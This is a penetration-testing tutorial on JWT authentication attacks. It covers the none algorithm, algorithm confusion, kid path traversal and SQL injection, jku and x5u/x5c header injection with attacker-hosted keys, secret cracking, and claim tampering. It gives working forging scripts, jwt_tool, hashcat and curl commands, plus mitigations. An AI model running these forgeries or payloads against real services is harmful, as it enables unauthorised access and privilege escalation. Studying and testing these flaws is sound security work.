The "none" algorithm attack exploits a critical design flaw in JWT libraries where the server accepts tokens with "alg": "none" in the header, completely bypassing signature validation. This vulnerability was formally documented as CVE-2015-9235 in the popular jsonwebtoken npm library, affecting versions 4.2.1 and earlier.
How It Works: The JWT specification allows the "none" algorithm for situations where the token is intentionally unsigned. Some libraries incorrectly treat this as a valid signature verification option, allowing attackers to forge arbitrary tokens without knowing any secret.
In 2015, Auth0 disclosed critical vulnerabilities in multiple JWT libraries, including jsonwebtoken, jwt-simple, and njwt. Attackers could forge admin tokens with alg: "none" and gain unauthorized access to applications relying on these libraries.
First, intercept a legitimate JWT token from the target application using Burp Suite:
- Configure Burp Suite as a proxy
- Log into the application normally
- Capture any authenticated request containing a JWT in the
Authorizationheader or cookie
Use jwt.io or Burp Suite's JWT Editor to examine the token structure:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciIsInVzZXIiOiJqb2huIn0.signature
Decoded header:
{
"alg": "HS256",
"typ": "JWT"
}Decoded payload:
{
"role": "user",
"user": "john"
}Change the algorithm to "none" and escalate privileges:
// Modified header
{
"alg": "none",
"typ": "JWT"
}
// Modified payload
{
"role": "admin",
"user": "administrator"
}import jwt
payload = {
"role": "admin",
"user": "administrator",
"exp": 9999999999
}
# Sign with algorithm="none" - signature is empty
token = jwt.encode(payload, None, algorithm="none")
print(token)Critical Note: The resulting token will have an empty signature section (just a trailing dot). Some libraries require the signature section to be present but can be left empty.
- In Burp Repeater, replace the existing JWT with your forged token
- Send the request to the protected endpoint (e.g.,
/admin,/api/users) - If vulnerable, the server accepts the token and grants admin access
# Automated none algorithm attack
python3 jwt_tool.py <JWT> -X a
# This will try various none algorithm bypassesAn application is vulnerable to none algorithm attacks if:
- The server accepts tokens with
alg: "none" - The server processes requests without validating the signature section
- Different error messages appear between invalid signature and missing signature
Update to patched library versions:
jsonwebtoken>= 4.2.2- Explicitly reject tokens with
alg: "none" - Configure JWT validation to enforce specific algorithms
Algorithm confusion, also known as key confusion, occurs when a server expects RSA signatures (asymmetric) but an attacker changes the algorithm to HMAC (symmetric). The vulnerable library attempts to verify the signature using the RSA public key as an HMAC secret, which the attacker can use to sign arbitrary tokens.
In November 2023, a critical algorithm confusion vulnerability was discovered in fast-jwt library versions prior to 3.3.2. The publicKeyPemMatcher function failed to properly match all common PEM public key formats, specifically those containing the BEGIN RSA PUBLIC KEY header.
Affected Scenario: Applications using RS256 algorithm with public keys containing BEGIN RSA PUBLIC KEY header and calling the verify function without explicitly providing an algorithm.
- The server must use RS256 (or other asymmetric algorithm)
- You must obtain the server's public key
- The library must not enforce algorithm restrictions
Method A: Extract from X.509 Certificate
# Connect to server and extract certificate
openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout > public.pem
# View the public key
cat public.pemMethod B: Recover Public Key from Two JWTs
Use the rsa_sign2n tool to derive the RSA public key from two different JWT tokens signed with the same key:
# Clone the tool
git clone https://github.com/silentsignal/rsa_sign2n.git
# Recover public key
python3 jwt_forgery.py token1 token2This generates 4 different public key formats. Test each one in the next steps.
Method C: Check for Exposed JWKS Endpoint
Common endpoints to check:
/.well-known/jwks.json/jwks/oauth/jwks
Using jwt_tool:
python3 jwt_tool.py <ORIGINAL_JWT> -S hs256 -k public.pemUsing Python:
import jwt
# Read the public key
with open('public.pem', 'r') as f:
public_key = f.read()
# Create malicious payload
payload = {
"user": "admin",
"role": "administrator",
"exp": 9999999999
}
# Sign with HS256 using the RSA public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm="HS256")
print(forged_token)- In Burp Suite, replace the original JWT with your forged token
- Send the request to a protected endpoint
- If the server accepts it, the algorithm confusion attack succeeded
The following vulnerable server code demonstrates the attack surface:
// Vulnerable server code
const express = require('express');
const { createSigner, createVerifier } = require('fast-jwt');
app.get('/generateToken', async (req, res) => {
const payload = { admin: false, name: req.query.name };
const signSync = createSigner({ algorithm: 'RS256', key: privateKey });
const token = signSync(payload);
res.json({ token });
});
function verifyToken(req, res, next) {
const token = req.query.token;
// VULNERABLE: No algorithm whitelist
const verifySync = createVerifier({ key: publicKey });
const payload = verifySync(token);
req.decoded = payload;
next();
}To exploit this:
# Step 1: Generate two tokens from the server
curl "http://vulnerable.com/generateToken?name=user1" > token1.txt
curl "http://vulnerable.com/generateToken?name=user2" > token2.txt
# Step 2: Recover public key
python3 jwt_forgery.py token1.txt token2.txt > public_key.pem
# Step 3: Forge admin token
python3 jwt_tool.py token1.txt -S hs256 -k public_key.pem -I -pc admin -pv true
# Step 4: Access protected endpoint
curl "http://vulnerable.com/checkAdmin?token=<FORGED_TOKEN>"- Install JWT Editor extension from BApp Store
- Capture a request containing a JWT
- Go to the JWT Editor tab
- Change the algorithm from
RS256toHS256 - For the signing key, paste the public key (from
public.pem) - Modify the payload claims (e.g., change
"admin": falseto"admin": true) - Sign the token and send the request
An application is vulnerable to algorithm confusion if:
- The server accepts tokens where algorithm was changed from RS256 to HS256
- The JWT validation library does not enforce algorithm whitelisting
- The server's public key is accessible (through JWKS endpoint, certificate, or recovery)
// Secure implementation with algorithm whitelist
const verifySync = createVerifier({
key: publicKey,
algorithms: ['RS256'] // Explicitly whitelist algorithms
});Update to patched versions (fast-jwt >= 3.3.2) which properly match PEM formats using regex:
const publicKeyPemMatcher = /^-----BEGIN( RSA)? PUBLIC KEY-----/The kid (Key ID) header parameter tells the server which key to use for verification. When servers use this value to construct file paths for key retrieval without sanitization, path traversal becomes possible.
// VULNERABLE: Direct file path concatenation
const key = fs.readFileSync(`/keys/${kid}.pem`);If kid is user-controlled, an attacker can use ../../../ sequences to read arbitrary files.
This exact vulnerability appears in PortSwigger's Web Security Academy Lab: "JWT authentication bypass via kid header path traversal".
The attack uses /dev/null (which returns empty content) as the key file. The Base64 representation of a null byte is AA==.
In Burp Suite with JWT Editor:
- Go to the JWT Editor Keys tab
- Click New Symmetric Key
- Click Generate to create a key in JWK format
- Replace the
kproperty value withAA==(Base64 for a null byte) - Click OK to save
Alternative - Using jwt_tool:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../../dev/null" -S hs256 -p ""- Capture an authenticated request in Burp Repeater
- Switch to the JSON Web Token tab (provided by JWT Editor)
- In the header section, locate the
kidparameter - Change the
kidvalue to traverse to/dev/null:
{
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../../../../dev/null"
}- In the payload section, change the
subclaim (or relevant privilege claim) toadministrator:
{
"sub": "administrator",
"exp": 9999999999
}- At the bottom of the JWT Editor tab, click Sign
- Select the symmetric key you created (with
AA==value) - Select Don't modify header option
- Click OK
The token is now signed using a null byte as the secret key (because the server will read /dev/null which is empty).
Change the request path to /admin or another protected endpoint and send. The server:
- Reads the
kidvalue - Opens
/keys/../../../../../../../dev/null→/dev/null - Reads empty content as the verification key
- Successfully verifies your null-signed token
- Grants admin access
Using Known File Contents:
If you know the contents of a specific file, you can use that as the key:
# Use /etc/passwd as key (you know its format)
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../../etc/passwd" -S hs256 -p "root:x:0:0:root:/root:/bin/bash"SQL Injection in Kid:
When the kid is used in database queries:
{
"alg": "HS256",
"kid": "1' UNION SELECT 'known_secret' --"
}This modifies the SQL query to return your known secret as the key.
- Identify kid usage: Check if JWT headers contain a
kidparameter - Test path traversal: Try
../../../dev/null,../../../../etc/passwd,..\..\..\windows\win.ini - Observe error differences: Different errors for missing vs. invalid keys indicate vulnerability
- Exploit with null key: Use
AA==as the secret after pointing to/dev/null
// Secure implementation
const allowedKeys = ['key-1', 'key-2', 'key-3'];
if (!allowedKeys.includes(kid)) {
throw new Error('Invalid key ID');
}
// Or use a mapping instead of file path concatenation
const key = keyMap[kid];The jku header parameter specifies a URL where the server can fetch the JSON Web Key Set (JWKS) containing verification keys. When not validated against a whitelist, attackers can host their own JWKS and sign tokens with their private keys.
{
"alg": "RS256",
"jku": "https://attacker.com/jwks.json",
"kid": "malicious-key"
}The server fetches the JWKS from the attacker's URL and uses the specified public key to verify the token.
# Generate private key
openssl genrsa -out private.pem 2048
# Extract public key
openssl rsa -in private.pem -pubout -out public.pemCreate jwks.json with the following structure:
{
"keys": [
{
"kid": "malicious-key",
"kty": "RSA",
"n": "BASE64URL_ENCODED_MODULUS",
"e": "AQAB"
}
]
}To get the correct n (modulus) value from your public key:
# Extract modulus from public key
openssl rsa -pubin -in public.pem -modulus -noout | cut -d'=' -f2# Start a simple HTTP server
python3 -m http.server 8080
# Or use ngrok for external access
ngrok http 8080Using jwt_tool:
python3 jwt_tool.py <JWT> -X s -ju "https://attacker.com/jwks.json" -pr private.pemUsing Burp Suite JWT Editor:
- In the JWT Editor tab, locate the
jkuheader - Change it to your hosted JWKS URL
- Modify the payload claims (e.g., change user to admin)
- Sign using your private key (import it into JWT Editor first)
- Send the request
Monitor your HTTP server logs. When the target server validates the JWT, it will make a request to your jwks.json URL.
Attacker -> Generates RSA key pair
Attacker -> Creates JWKS with public key
Attacker -> Hosts JWKS on attacker.com/jwks.json
Attacker -> Creates JWT with {"jku": "https://attacker.com/jwks.json"}
Attacker -> Signs JWT with private key
Attacker -> Sends JWT to target server
Target Server -> Receives JWT
Target Server -> Reads jku header
Target Server -> Fetches https://attacker.com/jwks.json
Target Server -> Uses attacker's public key from JWKS
Target Server -> Verifies signature (SUCCESS!)
Target Server -> Grants access based on forged claims
- Check for jku support: Insert a
jkuheader pointing to a URL you control - Monitor requests: Check if your server receives a request from the target
- Exploit if vulnerable: Host a valid JWKS and sign tokens with your private key
- Disable
jkuheader support entirely if not needed - Implement strict whitelist of allowed JWKS URLs
- Validate the entire URL including protocol, domain, and path
- Use
trustedJwksconfiguration instead of allowing arbitrary URLs
The x5u (X.509 URL) header provides a URI to an X.509 certificate, while x5c (X.509 Certificate Chain) embeds the certificate directly in the header. If the server trusts these headers for signature verification, attackers can supply their own certificates.
In June 2025, TrustedSec published a detailed analysis of JWT attacks using X.509 certificates, demonstrating how both x5u and x5c headers can be exploited to achieve full authentication bypass.
openssl req -newkey rsa:2048 -nodes -keyout private_key.pem -x509 -days 365 -out cert.pemThis creates:
private_key.pem- Your private key for signingcert.pem- Your X.509 certificate containing the public key
The x5c header contains the Base64-encoded certificate directly in the JWT.
Using TrustedSec's Burp Extension:
- Load the
JWT_x509_Re-Sign.pyextension in Burp (requires Jython) - Capture a request with a JWT and navigate to the Re-sign JWT tab
- Click Decode to view the token header and claims
- Modify the
subclaim (or any privilege claim) torootoradministrator - Import your X.509 private key and certificate
- Select Re-sign with x5c header and click Attack!
The extension automatically:
- Encodes your certificate for the
x5cheader - Signs the token with your private key
- Updates the request with the forged token
Manual X5C Attack:
import jwt
import base64
# Load certificate
with open('cert.pem', 'rb') as f:
cert_der = f.read()
cert_b64 = base64.b64encode(cert_der).decode()
# Create header with x5c
header = {
"alg": "RS256",
"typ": "JWT",
"x5c": [cert_b64]
}
# Create malicious payload
payload = {
"sub": "administrator",
"admin": True,
"exp": 9999999999
}
# Sign with private key
with open('private_key.pem', 'r') as f:
private_key = f.read()
token = jwt.encode(payload, private_key, algorithm="RS256", headers=header)The x5u header points to a URL where the certificate can be fetched.
Setup:
- Host your
cert.pemon a web server:
cp cert.pem /var/www/html/
sudo systemctl start apache2- In Burp with the TrustedSec extension:
- Modify the claims as desired
- Select Re-sign with x5u header
- Enter your certificate URL (e.g.,
https://attacker.com/cert.pem) - Click Attack!
Verification: Monitor your web server logs. If the target server requests cert.pem, the attack is working:
GET /cert.pem HTTP/1.1
Host: attacker.com
User-Agent: Python-urllib/3.x
After resigning, send the request to the protected endpoint. A successful attack returns 200 OK with the forged claims processed by the server.
The custom Burp extension automates the entire process:
- Base64 decoding of JWT headers and claims
- Modification of any claim values
- Import of X.509 private keys and certificates
- Automatic insertion of
x5corx5uheaders - Re-signing of tokens with attacker's key
- Identify x5 support: Check if JWT headers accept
x5corx5uparameters - Test injection: Add an
x5uheader pointing to your server - Check for external requests: Monitor if your server receives requests
- Exploit if vulnerable: Use your own certificate to sign forged tokens
The vulnerability exists because the server trusts the certificate provided in the header for signature verification, rather than using a pre-configured, trusted certificate.
Secure vs. Vulnerable Verification:
VULNERABLE: Server uses whatever certificate the JWT provides
SECURE: Server uses only pre-configured, trusted certificates
// Secure implementation - ignore x5 headers
const verifyOptions = {
algorithms: ['RS256'],
// Do NOT process x5c or x5u headers
ignoreX5C: true,
ignoreX5U: true
};When applications use HS256 (symmetric HMAC) with weak secrets, attackers can perform offline brute-force attacks to recover the secret and forge arbitrary tokens.
Capture a valid JWT token from the application:
# Save token to file
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" > token.txtDecode the JWT header to confirm it uses HS256:
# Decode with jwt-cli or online at jwt.io
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# Output: {"alg":"HS256","typ":"JWT"}John the Ripper natively supports JWT format with the HMAC-SHA256 format:
# Basic dictionary attack
john token.txt --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt
# With rules for mutations
john token.txt --format=HMAC-SHA256 --wordlist=rockyou.txt --rules=best64
# Show cracked password
john token.txt --showExpected Output:
Loaded 1 password hash (HMAC-SHA256 [password is HMAC secret])
secret123 (token.txt)
# Dictionary attack with rockyou
hashcat -m 16500 -a 0 token.txt /usr/share/wordlists/rockyou.txt
# Brute force - all lowercase letters, length 6-8
hashcat -m 16500 -a 3 --increment token.txt ?l?l?l?l?l?l?l?l
# Rule-based attack
hashcat -m 16500 -a 0 token.txt rockyou.txt -r rules/best64.rule
# Show cracked result
hashcat -m 16500 token.txt --show# Dictionary attack
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt
# With custom wordlist
python3 jwt_tool.py <JWT> -C -d secrets.txtOnce you have the secret, forge new tokens:
Using jwt.io:
- Paste the original JWT
- Change the payload claims (e.g.,
"role": "admin") - Enter the cracked secret in the "Verify Signature" section
- Copy the newly signed token
Using Python:
import jwt
secret = "secret123" # The cracked secret
payload = {
"user": "admin",
"role": "administrator",
"exp": 9999999999
}
forged_token = jwt.encode(payload, secret, algorithm="HS256")
print(forged_token)| Secret Type | Cracking Time (GTX 1080) |
|---|---|
| 6-digit number | Instant |
| Common word from rockyou | Seconds |
| 8-character lowercase | Minutes to hours |
| 12-character random | Centuries |
| 32-byte random (proper) | Impractical |
- Check algorithm type: Look for HS256 in JWT header
- Attempt weak secret: Try common secrets like
secret,password,changeme - Run dictionary attack: Use rockyou.txt against captured token
- Try brute force: For short secrets (6-8 characters)
Some applications use predictable secrets:
- Application name + year (e.g.,
myapp2024) - Company name variations
- Default framework secrets (Django
SECRET_KEYpatterns, Railssecret_key_base)
- Use cryptographically random secrets (minimum 32 bytes)
- Generate with:
openssl rand -base64 32 - Use asymmetric algorithms (RS256, ES256) instead of HS256
- Implement secret rotation policies
- Store secrets in secure vaults, not in code
Even without cryptographic vulnerabilities, applications often trust JWT claims implicitly without proper validation, leading to privilege escalation.
{
"user_id": 123,
"username": "john",
"role": "user",
"admin": false,
"group": "standard",
"email": "john@example.com"
}Change any user identification fields:
{
"user_id": 1,
"username": "administrator",
"email": "admin@example.com"
}Look for role or permission fields:
{
"role": "admin",
"admin": true,
"is_admin": true,
"permissions": ["*"],
"group": "administrators"
}Extend token lifetime or remove expiration:
{
"exp": 9999999999,
"nbf": 0
}- Capture a request with JWT
- Go to JWT Editor tab
- Decode the token
- Modify claim values
- If the original token had a signature, you need to re-sign:
- For HS256: Crack the secret or use known secret
- For RS256: Need private key or algorithm confusion
- Send the modified token
Some applications do not validate signatures at all. Test by:
- Decoding the JWT
- Modifying claims
- Changing the signature to anything (or removing it)
- Sending the request
If the server accepts the token, signature validation is completely broken.
# Original JWT giving user access
Original: {"user": "john", "role": "user"}
# Modified JWT attempting admin access
Modified: {"user": "john", "role": "admin"}
# If server doesn't validate signature properly
# OR if you have the valid secret/key
# You gain admin access- Decode JWT and examine all claims
- Identify algorithm (HS256, RS256, ES256, none)
- Check for kid, jku, x5u, x5c headers
- Determine if JWKS endpoint is exposed (
/.well-known/jwks.json)
- Test none algorithm (
alg: "none") - Test RS256 to HS256 algorithm confusion
- Attempt HMAC secret cracking (HS256 only)
- Test for key ID injection (path traversal, SQLi)
- Test jku header with attacker-controlled JWKS
- Test x5u header with attacker-controlled certificate
- Test x5c header with embedded attacker certificate
- Modify user identifier claims
- Modify role/permission claims
- Modify expiration claims (exp, nbf)
- Test SQL injection in claims
- Test token acceptance after session logout
- Test token replay across different endpoints
- Test with invalid signature (should reject)
- Test with missing signature (should reject for alg != none)
- Test with expired token (should reject)
| Phase | Tools |
|---|---|
| Intercept | Burp Suite |
| Decode | jwt.io, jwt_tool -d |
| Modify | JWT Editor (Burp), jwt_tool -I |
| Crack | hashcat, john, jwt_tool -C |
| Exploit | jwt_tool, custom Python scripts |
| Verify | Burp Repeater, curl |
- CVE-2015-9235: jsonwebtoken verification bypass - GitHub Advisory Database
- CVE-2023-48223: fast-jwt algorithm confusion - GitHub Advisory Database
- JWT Attack Methodology - PortSwigger Web Security Academy
- JWT Key Confusion Attack - PentesterLab Glossary
- JWT X.509 Certificate Attacks - TrustedSec (June 2025)
- JWT Secret Cracking with John the Ripper - Hakatemia